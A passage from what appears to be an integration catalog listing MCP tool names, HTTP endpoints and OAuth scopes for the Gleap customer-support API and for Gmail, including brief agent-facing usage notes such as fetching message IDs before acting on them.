gleap_get_tickets_presence_viewers (read) — List current ticket viewers via GET /v3/tickets/presence/viewers GET /api/v1/gleap/tickets/presence/viewers. Scopes: api. gleap_get_tickets_search (read) — Search for tickets via GET /v3/tickets/search GET /api/v1/gleap/tickets/search. Scopes: api. gleap_get_tickets_search_feature_requests (read) — Search feature requests semantically via GET /v3/tickets/search-feature-requests GET /api/v1/gleap/tickets/search-feature-requests. Scopes: api. gleap_get_tickets_ticketscount (read) — Get ticket counts per status via GET /v3/tickets/ticketscount GET /api/v1/gleap/tickets/ticketscount. Scopes: api. gleap_get_tickets_tracker_tickets (read) — Find tracker tickets via GET /v3/tickets/tracker-tickets GET /api/v1/gleap/tickets/tracker-tickets. Scopes: api. gleap_get_translations_entries (read) — List all translatable entries via GET /v3/translations/entries GET /api/v1/gleap/translations/entries. Scopes: api. gleap_get_translations_entries_by_entryid (read) — Get a single translatable entry via GET /v3/translations/entries/{entryId} GET /api/v1/gleap/translations/entries/{entryId}. Scopes: api. gleap_get_users_me (read) — Get current user via GET /v3/users/me GET /api/v1/gleap/users/me. Scopes: api. gleap_get_users_me_permissions (read) — Get current user's role permissions via GET /v3/users/me/permissions GET /api/v1/gleap/users/me/permissions. Scopes: api. gleap_get_users_unified_inbox (read) — Get unified inbox tickets via GET /v3/users/unified-inbox GET /api/v1/gleap/users/unified-inbox. Scopes: api. gleap_get_users_unified_inbox_by_ticketid (read) — Get unified inbox ticket via GET /v3/users/unified-inbox/{ticketId} GET /api/v1/gleap/users/unified-inbox/{ticketId}. Scopes: api. gleap_get_youtube_source (read) — List YouTube content via GET /v3/youtube-source GET /api/v1/gleap/youtube-source. Scopes: api. gleap_patch_s2s_conversations_by_conversationid (write) — Update conversation via PATCH /v3/s2s/conversations/{conversationId} PATCH /api/v1/gleap/s2s/conversations/{conversationId}. Scopes: api. gleap_post_agentevals (write) — Create example via POST /v3/agentevals POST /api/v1/gleap/agentevals. Scopes: api. gleap_post_aicontent (write) — Create AI content via POST /v3/aicontent POST /api/v1/gleap/aicontent. Scopes: api. gleap_post_code_ask (write) — Ask a question about the project's connected source repositories via POST /v3/code/ask POST /api/v1/gleap/code/ask. Scopes: api. gleap_post_companies_by_companyid_members (write) — Add a company member via POST /v3/companies/{companyId}/members POST /api/v1/gleap/companies/{companyId}/members. Scopes: api. gleap_post_custom_components (write) — Create a new custom component via POST /v3/custom-components POST /api/v1/gleap/custom-components. Scopes: api. gleap_post_engagement_banners (write) — Create a new banner via POST /v3/engagement/banners POST /api/v1/gleap/engagement/banners. Scopes: api. gleap_post_engagement_chat_messages (write) — Create a new chat message via POST /v3/engagement/chat-messages POST /api/v1/gleap/engagement/chat-messages. Scopes: api. gleap_post_engagement_checklists (write) — Create a new checklist via POST /v3/engagement/checklists POST /api/v1/gleap/engagement/checklists. Scopes: api. gleap_post_engagement_cobrowse (write) — Create a new cobrowse product tour via POST /v3/engagement/cobrowse POST /api/v1/gleap/engagement/cobrowse. Scopes: api. gleap_post_engagement_editor_precheck (write) — Check whether the visual editor will work on a URL via POST /v3/engagement/editor/precheck POST /api/v1/gleap/engagement/editor/precheck. Scopes: api. gleap_post_engagement_emails (write) — Create a new email via POST /v3/engagement/emails POST /api/v1/gleap/engagement/emails. Scopes: api. gleap_post_engagement_emails_by_engagementemailid_send_email_preview (write) — Send email preview via POST /v3/engagement/emails/{engagementEmailId}/send-email-preview POST /api/v1/gleap/engagement/emails/{engagementEmailId}/send-email-preview. Scopes: api. gleap_post_engagement_modals (write) — Create a new modal via POST /v3/engagement/modals POST /api/v1/gleap/engagement/modals. Scopes: api. gleap_post_engagement_news (write) — Create a new engagement news article via POST /v3/engagement/news POST /api/v1/gleap/engagement/news. Scopes: api. gleap_post_engagement_product_tours (write) — Create a new product tour via POST /v3/engagement/product-tours POST /api/v1/gleap/engagement/product-tours. Scopes: api. gleap_post_engagement_push_notifications (write) — Create a new push notification via POST /v3/engagement/push-notifications POST /api/v1/gleap/engagement/push-notifications. Scopes: api. gleap_post_engagement_surveys (write) — Create a new survey via POST /v3/engagement/surveys POST /api/v1/gleap/engagement/surveys. Scopes: api. gleap_post_engagement_tooltips (write) — Create a new tooltip via POST /v3/engagement/tooltips POST /api/v1/gleap/engagement/tooltips. Scopes: api. gleap_post_engagement_whatsapp_messages (write) — Create a new whatsapp message via POST /v3/engagement/whatsapp-messages POST /api/v1/gleap/engagement/whatsapp-messages. Scopes: api. gleap_post_engagement_whatsapp_messages_send_template (write) — Send a whatsapp template message via POST /v3/engagement/whatsapp-messages/send-template POST /api/v1/gleap/engagement/whatsapp-messages/send-template. Scopes: api. gleap_post_engagements_by_engagementid_clone (write) — Clone engagement via POST /v3/engagements/{engagementId}/clone POST /api/v1/gleap/engagements/{engagementId}/clone. Scopes: api. gleap_post_engagements_by_engagementid_fixed_audience_samples (write) — Get engagement fixed audience samples via POST /v3/engagements/{engagementId}/fixed-audience-samples POST /api/v1/gleap/engagements/{engagementId}/fixed-audience-samples. Scopes: api. gleap_post_frontend_tools_result (write) — Deliver a frontend tool execution result via POST /v3/frontend-tools/result POST /api/v1/gleap/frontend-tools/result. Scopes: api. gleap_post_helpcenter_collections (write) — Create a new collection via POST /v3/helpcenter/collections POST /api/v1/gleap/helpcenter/collections. Scopes: api. gleap_post_helpcenter_collections_by_helpcentercollectionid_articles (write) — Create a new article via POST /v3/helpcenter/collections/{helpcenterCollectionId}/articles POST /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles. Scopes: api. gleap_post_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_draft_publish (write) — Publish an article draft via POST /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft/publish POST /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft/publish. Scopes: api. gleap_post_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_versions (write) — Create an article version checkpoint via POST /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions POST /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions. Scopes: api. gleap_post_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_versions_by_versionid_restore (write) — Restore an article version via POST /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions/{versionId}/restore POST /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/versions/{versionId}/restore. Scopes: api. gleap_post_helpcenter_redirect (write) — Create a new redirect via POST /v3/helpcenter-redirect POST /api/v1/gleap/helpcenter-redirect. Scopes: api. gleap_post_invitations_organisations_by_organisationid (write) — Invite people to an organisation via POST /v3/invitations/organisations/{organisationId} POST /api/v1/gleap/invitations/organisations/{organisationId}. Scopes: api. gleap_post_invitations_projects (write) — Invite people to a project via POST /v3/invitations/projects POST /api/v1/gleap/invitations/projects. Scopes: api. gleap_post_knowledge_search (write) — Search knowledge documents via POST /v3/knowledge/search POST /api/v1/gleap/knowledge/search. Scopes: api. gleap_post_knowledge_similar_tickets (write) — Find similar tickets via POST /v3/knowledge/similar-tickets POST /api/v1/gleap/knowledge/similar-tickets. Scopes: api. gleap_post_message_templates (write) — Create a new message template via POST /v3/message-templates POST /api/v1/gleap/message-templates. Scopes: api. gleap_post_messages (write) — Create a new message via POST /v3/messages POST /api/v1/gleap/messages. Scopes: api. gleap_post_messages_by_messageid_faq (write) — Accept or decline an AI FAQ suggestion via POST /v3/messages/{messageId}/faq POST /api/v1/gleap/messages/{messageId}/faq. Scopes: api. gleap_post_messages_by_messageid_thread (write) — Create a thread reply via POST /v3/messages/{messageId}/thread POST /api/v1/gleap/messages/{messageId}/thread. Scopes: api. gleap_post_pipelines_by_pipelineid_entries (write) — Add a record to a pipeline via POST /v3/pipelines/{pipelineId}/entries POST /api/v1/gleap/pipelines/{pipelineId}/entries. Scopes: api. gleap_post_s2s_contacts_by_userid_conversations (write) — Create conversation via POST /v3/s2s/contacts/{userId}/conversations POST /api/v1/gleap/s2s/contacts/{userId}/conversations. Scopes: api. gleap_post_s2s_contacts_by_userid_events (write) — Track contact events via POST /v3/s2s/contacts/{userId}/events POST /api/v1/gleap/s2s/contacts/{userId}/events. Scopes: api. gleap_post_s2s_conversations_by_conversationid_close (write) — Close conversation via POST /v3/s2s/conversations/{conversationId}/close POST /api/v1/gleap/s2s/conversations/{conversationId}/close. Scopes: api. gleap_post_s2s_conversations_by_conversationid_messages (write) — Send message via POST /v3/s2s/conversations/{conversationId}/messages POST /api/v1/gleap/s2s/conversations/{conversationId}/messages. Scopes: api. gleap_post_s2s_conversations_by_conversationid_rating (write) — Rate conversation via POST /v3/s2s/conversations/{conversationId}/rating POST /api/v1/gleap/s2s/conversations/{conversationId}/rating. Scopes: api. gleap_post_s2s_conversations_by_conversationid_read (write) — Mark conversation read via POST /v3/s2s/conversations/{conversationId}/read POST /api/v1/gleap/s2s/conversations/{conversationId}/read. Scopes: api. gleap_post_s2s_conversations_by_conversationid_reopen (write) — Reopen conversation via POST /v3/s2s/conversations/{conversationId}/reopen POST /api/v1/gleap/s2s/conversations/{conversationId}/reopen. Scopes: api. gleap_post_s2s_conversations_by_conversationid_typing (write) — Typing indicator via POST /v3/s2s/conversations/{conversationId}/typing POST /api/v1/gleap/s2s/conversations/{conversationId}/typing. Scopes: api. gleap_post_s2s_conversations_by_conversationid_workflow_answer (write) — Answer workflow step via POST /v3/s2s/conversations/{conversationId}/workflow/answer POST /api/v1/gleap/s2s/conversations/{conversationId}/workflow/answer. Scopes: api. gleap_post_s2s_conversations_by_conversationid_workflow_by_workflowid_run (write) — Run workflow via POST /v3/s2s/conversations/{conversationId}/workflow/{workflowId}/run POST /api/v1/gleap/s2s/conversations/{conversationId}/workflow/{workflowId}/run. Scopes: api. gleap_post_s2s_messages_by_messageid_rating (write) — Rate message via POST /v3/s2s/messages/{messageId}/rating POST /api/v1/gleap/s2s/messages/{messageId}/rating. Scopes: api. gleap_post_s2s_stream_auth (write) — Authorize channel subscription via POST /v3/s2s/stream/auth POST /api/v1/gleap/s2s/stream/auth. Scopes: api. gleap_post_s2s_stream_user_auth (write) — Authenticate stream user via POST /v3/s2s/stream/user-auth POST /api/v1/gleap/s2s/stream/user-auth. Scopes: api. gleap_post_s2s_webhooks (write) — Create webhook via POST /v3/s2s/webhooks POST /api/v1/gleap/s2s/webhooks. Scopes: api. gleap_post_sessions (write) — Create a new session via POST /v3/sessions POST /api/v1/gleap/sessions. Scopes: api. gleap_post_sessions_by_sessionid_checklists_by_checklistid_reset (write) — Reset session checklist via POST /v3/sessions/{sessionId}/checklists/{checklistId}/reset POST /api/v1/gleap/sessions/{sessionId}/checklists/{checklistId}/reset. Scopes: api. gleap_post_sessions_by_sessionid_memory (write) — Create or update a contact memory entry via POST /v3/sessions/{sessionId}/memory POST /api/v1/gleap/sessions/{sessionId}/memory. Scopes: api. gleap_post_sessions_importer (write) — Import sessions via POST /v3/sessions/importer POST /api/v1/gleap/sessions/importer. Scopes: api. gleap_post_sessions_importer_hubspot (write) — Import sessions from HubSpot via POST /v3/sessions/importer/hubspot POST /api/v1/gleap/sessions/importer/hubspot. Scopes: api. gleap_post_sessions_importer_intercom (write) — Import sessions from intercom via POST /v3/sessions/importer/intercom POST /api/v1/gleap/sessions/importer/intercom. Scopes: api. gleap_post_sessions_importer_zendesk (write) — Import sessions from Zendesk via POST /v3/sessions/importer/zendesk POST /api/v1/gleap/sessions/importer/zendesk. Scopes: api. gleap_post_sessions_unsubscribe (write) — Unsubscribe sessions via POST /v3/sessions/unsubscribe POST /api/v1/gleap/sessions/unsubscribe. Scopes: api. gleap_post_sessions_warmup (write) — Pre-warm sessions cache for the active project via POST /v3/sessions/warmup POST /api/v1/gleap/sessions/warmup. Scopes: api. gleap_post_teams (write) — Create a new team via POST /v3/teams POST /api/v1/gleap/teams. Scopes: api. gleap_post_tickets (write) — Create a new ticket via POST /v3/tickets POST /api/v1/gleap/tickets. Scopes: api. gleap_post_tickets_bulk_reply (write) — Bulk-reply to tickets via POST /v3/tickets/bulk/reply POST /api/v1/gleap/tickets/bulk/reply. Scopes: api. gleap_post_tickets_by_ticketid_send_to_integration (write) — Send ticket to integration via POST /v3/tickets/{ticketId}/send-to-integration POST /api/v1/gleap/tickets/{ticketId}/send-to-integration. Scopes: api. gleap_post_tickets_by_ticketid_send_transcript (write) — Send ticket conversation transcript to multiple emails via POST /v3/tickets/{ticketId}/send-transcript POST /api/v1/gleap/tickets/{ticketId}/send-transcript. Scopes: api. gleap_post_tickets_by_ticketid_typing (write) — Indicate user typing via POST /v3/tickets/{ticketId}/typing POST /api/v1/gleap/tickets/{ticketId}/typing. Scopes: api. gleap_post_tickets_by_ticketid_viewing (write) — Indicate user viewing via POST /v3/tickets/{ticketId}/viewing POST /api/v1/gleap/tickets/{ticketId}/viewing. Scopes: api. gleap_post_tickets_by_ticketid_voice_reply (write) — Voice reply (dictate or smart) via POST /v3/tickets/{ticketId}/voice-reply POST /api/v1/gleap/tickets/{ticketId}/voice-reply. Scopes: api. gleap_post_tickets_by_ticketid_vote (write) — Vote for ticket via POST /v3/tickets/{ticketId}/vote POST /api/v1/gleap/tickets/{ticketId}/vote. Scopes: api. gleap_post_tickets_by_ticketid_workflow (write) — Run workflow via POST /v3/tickets/{ticketId}/workflow POST /api/v1/gleap/tickets/{ticketId}/workflow. Scopes: api. gleap_post_tickets_compose (write) — Create a new ticket with an optional initial message via POST /v3/tickets/compose POST /api/v1/gleap/tickets/compose. Scopes: api. gleap_post_tickets_deduplicate (write) — Find duplicate feature requests via POST /v3/tickets/deduplicate POST /api/v1/gleap/tickets/deduplicate. Scopes: api. gleap_post_tickets_generate_data (write) — Generate tracker ticket data with AI via POST /v3/tickets/generate-data POST /api/v1/gleap/tickets/generate-data. Scopes: api. gleap_post_tickets_tracker_tickets (write) — Create a tracker ticket via POST /v3/tickets/tracker-tickets POST /api/v1/gleap/tickets/tracker-tickets. Scopes: api. gleap_post_uploads (write) — Upload a file via POST /v3/uploads POST /api/v1/gleap/uploads. Scopes: api. gleap_post_uploads_from_url (write) — Import an image from a URL via POST /v3/uploads/from-url POST /api/v1/gleap/uploads/from-url. Scopes: api. gleap_post_users (write) — Sign up a new user via POST /v3/users POST /api/v1/gleap/users. Scopes: api. gleap_post_users_me_reassign_tickets (write) — Hand over the user's open tickets to their team via POST /v3/users/me/reassign-tickets POST /api/v1/gleap/users/me/reassign-tickets. Scopes: api. gleap_post_users_me_session_auth (write) — Authenticate a session for websockets via POST /v3/users/me/session-auth POST /api/v1/gleap/users/me/session-auth. Scopes: api. gleap_post_users_me_session_channel_auth (write) — Authorize a session channel subscription via POST /v3/users/me/session-channel-auth POST /api/v1/gleap/users/me/session-channel-auth. Scopes: api. gleap_post_users_resend (write) — Resend a verification code to the user's email via POST /v3/users/resend POST /api/v1/gleap/users/resend. Scopes: api. gleap_post_users_verify (write) — Verify a user's email address via POST /v3/users/verify POST /api/v1/gleap/users/verify. Scopes: api. gleap_post_youtube_source (write) — Import YouTube video via POST /v3/youtube-source POST /api/v1/gleap/youtube-source. Scopes: api. gleap_post_youtube_source_batch (write) — Import YouTube playlist/channel via POST /v3/youtube-source/batch POST /api/v1/gleap/youtube-source/batch. Scopes: api. gleap_post_youtube_source_preview (write) — Preview YouTube URL via POST /v3/youtube-source/preview POST /api/v1/gleap/youtube-source/preview. Scopes: api. gleap_put_aicontent_by_contentid (write) — Update AI content by contentId via PUT /v3/aicontent/{contentId} PUT /api/v1/gleap/aicontent/{contentId}. Scopes: api. gleap_put_companies_by_companyid (write) — Create or update a company via PUT /v3/companies/{companyId} PUT /api/v1/gleap/companies/{companyId}. Scopes: api. gleap_put_custom_components_by_customcomponentid (write) — Update a custom component via PUT /v3/custom-components/{customComponentId} PUT /api/v1/gleap/custom-components/{customComponentId}. Scopes: api. gleap_put_engagement_banners_by_bannerid (write) — Update a banner via PUT /v3/engagement/banners/{bannerId} PUT /api/v1/gleap/engagement/banners/{bannerId}. Scopes: api. gleap_put_engagement_chat_messages_by_chatmessageid (write) — Update a chat message via PUT /v3/engagement/chat-messages/{chatMessageId} PUT /api/v1/gleap/engagement/chat-messages/{chatMessageId}. Scopes: api. gleap_put_engagement_checklists_by_checklistid (write) — Update a checklist via PUT /v3/engagement/checklists/{checklistId} PUT /api/v1/gleap/engagement/checklists/{checklistId}. Scopes: api. gleap_put_engagement_cobrowse_by_cobrowseproducttourid (write) — Update a cobrowse product tour via PUT /v3/engagement/cobrowse/{cobrowseProductTourId} PUT /api/v1/gleap/engagement/cobrowse/{cobrowseProductTourId}. Scopes: api. gleap_put_engagement_emails_by_engagementemailid (write) — Update an email via PUT /v3/engagement/emails/{engagementEmailId} PUT /api/v1/gleap/engagement/emails/{engagementEmailId}. Scopes: api. gleap_put_engagement_modals_by_modalid (write) — Update a modal via PUT /v3/engagement/modals/{modalId} PUT /api/v1/gleap/engagement/modals/{modalId}. Scopes: api. gleap_put_engagement_news_by_newsid (write) — Update a news article via PUT /v3/engagement/news/{newsId} PUT /api/v1/gleap/engagement/news/{newsId}. Scopes: api. gleap_put_engagement_product_tours_by_producttourid (write) — Update a product tour via PUT /v3/engagement/product-tours/{productTourId} PUT /api/v1/gleap/engagement/product-tours/{productTourId}. Scopes: api. gleap_put_engagement_push_notifications_by_pushnotificationid (write) — Update a push notification via PUT /v3/engagement/push-notifications/{pushNotificationId} PUT /api/v1/gleap/engagement/push-notifications/{pushNotificationId}. Scopes: api. gleap_put_engagement_surveys_by_surveyid (write) — Update a survey via PUT /v3/engagement/surveys/{surveyId} PUT /api/v1/gleap/engagement/surveys/{surveyId}. Scopes: api. gleap_put_engagement_surveys_by_surveyid_responses_read (write) — Mark all survey responses as read via PUT /v3/engagement/surveys/{surveyId}/responses/read PUT /api/v1/gleap/engagement/surveys/{surveyId}/responses/read. Scopes: api. gleap_put_engagement_tooltips_by_tooltipid (write) — Update a tooltip via PUT /v3/engagement/tooltips/{tooltipId} PUT /api/v1/gleap/engagement/tooltips/{tooltipId}. Scopes: api. gleap_put_engagement_whatsapp_messages_by_whatsappmessageid (write) — Update a whatsapp message via PUT /v3/engagement/whatsapp-messages/{whatsappMessageId} PUT /api/v1/gleap/engagement/whatsapp-messages/{whatsappMessageId}. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid (write) — Update a collection via PUT /v3/helpcenter/collections/{helpcenterCollectionId} PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid (write) — Update an article via PUT /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId} PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_draft (write) — Save an article draft via PUT /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/draft. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid_articles_by_helpcenterarticleid_move (write) — Move an article via PUT /v3/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/move PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/{helpcenterArticleId}/move. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid_articles_order (write) — Reorder articles via PUT /v3/helpcenter/collections/{helpcenterCollectionId}/articles/order PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/articles/order. Scopes: api. gleap_put_helpcenter_collections_by_helpcentercollectionid_toggle_publish (write) — Publish or unpublish a collection's articles via PUT /v3/helpcenter/collections/{helpcenterCollectionId}/toggle-publish PUT /api/v1/gleap/helpcenter/collections/{helpcenterCollectionId}/toggle-publish. Scopes: api. gleap_put_helpcenter_collections_order (write) — Reorder collections via PUT /v3/helpcenter/collections/order PUT /api/v1/gleap/helpcenter/collections/order. Scopes: api. gleap_put_helpcenter_redirect_by_redirectid (write) — Update a redirect via PUT /v3/helpcenter-redirect/{redirectId} PUT /api/v1/gleap/helpcenter-redirect/{redirectId}. Scopes: api. gleap_put_invitations_by_invitationid (write) — Accept or decline an invitation via PUT /v3/invitations/{invitationId} PUT /api/v1/gleap/invitations/{invitationId}. Scopes: api. gleap_put_invitations_by_invitationid_role (write) — Update an invitation's role via PUT /v3/invitations/{invitationId}/role PUT /api/v1/gleap/invitations/{invitationId}/role. Scopes: api. gleap_put_message_templates_by_messagetemplateid (write) — Update a message template via PUT /v3/message-templates/{messageTemplateId} PUT /api/v1/gleap/message-templates/{messageTemplateId}. Scopes: api. gleap_put_messages_by_messageid (write) — Update a message via PUT /v3/messages/{messageId} PUT /api/v1/gleap/messages/{messageId}. Scopes: api. gleap_put_messages_by_messageid_reactions (write) — Set a message reaction via PUT /v3/messages/{messageId}/reactions PUT /api/v1/gleap/messages/{messageId}/reactions. Scopes: api. gleap_put_pipeline_entries_by_entryid_due_date (write) — Set an entry's due date via PUT /v3/pipeline-entries/{entryId}/due-date PUT /api/v1/gleap/pipeline-entries/{entryId}/due-date. Scopes: api. gleap_put_pipeline_entries_by_entryid_move (write) — Move an entry via PUT /v3/pipeline-entries/{entryId}/move PUT /api/v1/gleap/pipeline-entries/{entryId}/move. Scopes: api. gleap_put_pipeline_entries_by_entryid_values (write) — Update entry values via PUT /v3/pipeline-entries/{entryId}/values PUT /api/v1/gleap/pipeline-entries/{entryId}/values. Scopes: api. gleap_put_projects_users_by_userid (write) — Update a project member's role via PUT /v3/projects/users/{userId} PUT /api/v1/gleap/projects/users/{userId}. Scopes: api. gleap_put_s2s_contacts_by_userid (write) — Upsert contact via PUT /v3/s2s/contacts/{userId} PUT /api/v1/gleap/s2s/contacts/{userId}. Scopes: api. gleap_put_s2s_conversations_by_conversationid_network_logs (write) — Set network logs via PUT /v3/s2s/conversations/{conversationId}/network-logs PUT /api/v1/gleap/s2s/conversations/{conversationId}/network-logs. Scopes: api. gleap_put_sessions_by_sessionid (write) — Update a session via PUT /v3/sessions/{sessionId} PUT /api/v1/gleap/sessions/{sessionId}. Scopes: api. gleap_put_sessions_by_sessionid_memory_by_entryname (write) — Update a contact memory entry via PUT /v3/sessions/{sessionId}/memory/{entryName} PUT /api/v1/gleap/sessions/{sessionId}/memory/{entryName}. Scopes: api. gleap_put_sessions_by_sessionid_resubscribe (write) — Resubscribe a session via PUT /v3/sessions/{sessionId}/resubscribe PUT /api/v1/gleap/sessions/{sessionId}/resubscribe. Scopes: api. gleap_put_teams_by_teamid (write) — Update a team via PUT /v3/teams/{teamId} PUT /api/v1/gleap/teams/{teamId}. Scopes: api. gleap_put_teams_by_teamid_order (write) — Reorder a team via PUT /v3/teams/{teamId}/order PUT /api/v1/gleap/teams/{teamId}/order. Scopes: api. gleap_put_tickets_archive_all (write) — Archive all tickets in a lane via PUT /v3/tickets/archive/all PUT /api/v1/gleap/tickets/archive/all. Scopes: api. gleap_put_tickets_bulk (write) — Bulk-update tickets via PUT /v3/tickets/bulk PUT /api/v1/gleap/tickets/bulk. Scopes: api. gleap_put_tickets_by_ticketid (write) — Update a ticket via PUT /v3/tickets/{ticketId} PUT /api/v1/gleap/tickets/{ticketId}. Scopes: api. gleap_put_tickets_by_ticketid_archive (write) — Archive a ticket via PUT /v3/tickets/{ticketId}/archive PUT /api/v1/gleap/tickets/{ticketId}/archive. Scopes: api. gleap_put_tickets_by_ticketid_await_customer_reply (write) — Await customer reply on a ticket via PUT /v3/tickets/{ticketId}/await-customer-reply PUT /api/v1/gleap/tickets/{ticketId}/await-customer-reply. Scopes: api. gleap_put_tickets_by_ticketid_close_as_spam (write) — Close a ticket as spam (agent verdict) via PUT /v3/tickets/{ticketId}/close-as-spam PUT /api/v1/gleap/tickets/{ticketId}/close-as-spam. Scopes: api. gleap_put_tickets_by_ticketid_draft_message (write) — Set the composer draft message via PUT /v3/tickets/{ticketId}/draft-message PUT /api/v1/gleap/tickets/{ticketId}/draft-message. Scopes: api. gleap_put_tickets_by_ticketid_link (write) — Link a ticket to another ticket via PUT /v3/tickets/{ticketId}/link PUT /api/v1/gleap/tickets/{ticketId}/link. Scopes: api. gleap_put_tickets_by_ticketid_snooze (write) — Snooze a ticket via PUT /v3/tickets/{ticketId}/snooze PUT /api/v1/gleap/tickets/{ticketId}/snooze. Scopes: api. gleap_put_tickets_by_ticketid_spam (write) — Mark a ticket as spam via PUT /v3/tickets/{ticketId}/spam PUT /api/v1/gleap/tickets/{ticketId}/spam. Scopes: api. gleap_put_tickets_by_ticketid_unarchive (write) — Unarchive a ticket via PUT /v3/tickets/{ticketId}/unarchive PUT /api/v1/gleap/tickets/{ticketId}/unarchive. Scopes: api. gleap_put_tickets_by_ticketid_unlink (write) — Unlink a ticket via PUT /v3/tickets/{ticketId}/unlink PUT /api/v1/gleap/tickets/{ticketId}/unlink. Scopes: api. gleap_put_tickets_deduplicate_merge (write) — Merge a duplicate group via PUT /v3/tickets/deduplicate/merge PUT /api/v1/gleap/tickets/deduplicate/merge. Scopes: api. gleap_put_tickets_merge (write) — Merge multiple tickets into one via PUT /v3/tickets/merge PUT /api/v1/gleap/tickets/merge. Scopes: api. gleap_put_translations_entries_by_entryid (write) — Update a translatable entry via PUT /v3/translations/entries/{entryId} PUT /api/v1/gleap/translations/entries/{entryId}. Scopes: api. gleap_put_users_by_userid (write) — Update the current user via PUT /v3/users/{userId} PUT /api/v1/gleap/users/{userId}. Scopes: api. ================================================================================ ## Gmail URL: https://www.agenticfabriq.com/integrations/gmail Section: Integrated Tools Gmail — 17 MCP tools Provider key: gmail. Scopes: https://www.googleapis.com/auth/gmail.compose, https://www.googleapis.com/auth/gmail.modify, https://www.googleapis.com/auth/gmail.readonly, https://www.googleapis.com/auth/gmail.send. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gmail_reply (send, destructive) — Reply to an existing Gmail message. Maintains threading. Requires gmail.send scope. POST /api/v1/tools/google/gmail/reply. Scopes: https://www.googleapis.com/auth/gmail.send. gmail_send (send, destructive) — Send an email via Gmail. Requires gmail.send scope. POST /api/v1/tools/google/gmail/send. Scopes: https://www.googleapis.com/auth/gmail.send. google_gmail_add_label (admin) — Add labels to a Gmail message. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/labels/add. Scopes: https://www.googleapis.com/auth/gmail.modify. google_gmail_archive_message (admin) — Archive a Gmail message by removing the INBOX label. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/archive. Scopes: https://www.googleapis.com/auth/gmail.modify. google_gmail_create_draft (draft) — Create a new Gmail draft. The draft can be edited or sent later. POST /api/v1/tools/google/gmail/drafts. Scopes: https://www.googleapis.com/auth/gmail.compose. google_gmail_delete_draft (draft, destructive) — Delete a Gmail draft. IMPORTANT: You must first call google_gmail_list_drafts to get the actual draft_id. Do NOT use placeholder values. DELETE /api/v1/tools/google/gmail/drafts/{draft_id}. Scopes: https://www.googleapis.com/auth/gmail.compose. google_gmail_get_thread (read) — Get a complete Gmail thread with all messages. Returns the full conversation including all replies. IMPORTANT: You must first call google_gmail_list_threads to get the thread_id. GET /api/v1/tools/google/gmail/threads/{thread_id}. Scopes: https://www.googleapis.com/auth/gmail.readonly. google_gmail_list_drafts (read) — List Gmail drafts. Returns draft IDs, subjects, and recipients. GET /api/v1/tools/google/gmail/drafts. Scopes: https://www.googleapis.com/auth/gmail.compose. google_gmail_list_messages (read) — List Gmail messages with full content. Returns message IDs, subject, from, to, date, snippet, body_text, and body_html for each message. GET /api/v1/tools/google/gmail/messages. Scopes: https://www.googleapis.com/auth/gmail.readonly. google_gmail_list_threads (read) — List Gmail threads (conversations). Returns thread IDs and snippets. A thread groups related messages together. GET /api/v1/tools/google/gmail/threads. Scopes: https://www.googleapis.com/auth/gmail.readonly. google_gmail_mark_read (admin) — Mark a Gmail message as read. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/mark-read. Scopes: https://www.googleapis.com/auth/gmail.modify. google_gmail_mark_unread (admin) — Mark a Gmail message as unread. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/mark-unread. Scopes: https://www.googleapis.com/auth/gmail.modify. google_gmail_read_message (read) — Read a specific Gmail message by ID. Returns full message content including subject, from, to, and body. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. GET /api/v1/tools/google/gmail/messages/{message_id}. Scopes: https://www.googleapis.com/auth/gmail.readonly. google_gmail_remove_label (admin) — Remove labels from a Gmail message. IMPORTANT: You must first call google_gmail_list_messages to get the actual message_id. Do NOT use placeholder values. POST /api/v1/tools/google/gmail/messages/{message_id}/labels/remove. Scopes: https://www.googleapis.com/auth/gmail.modify. 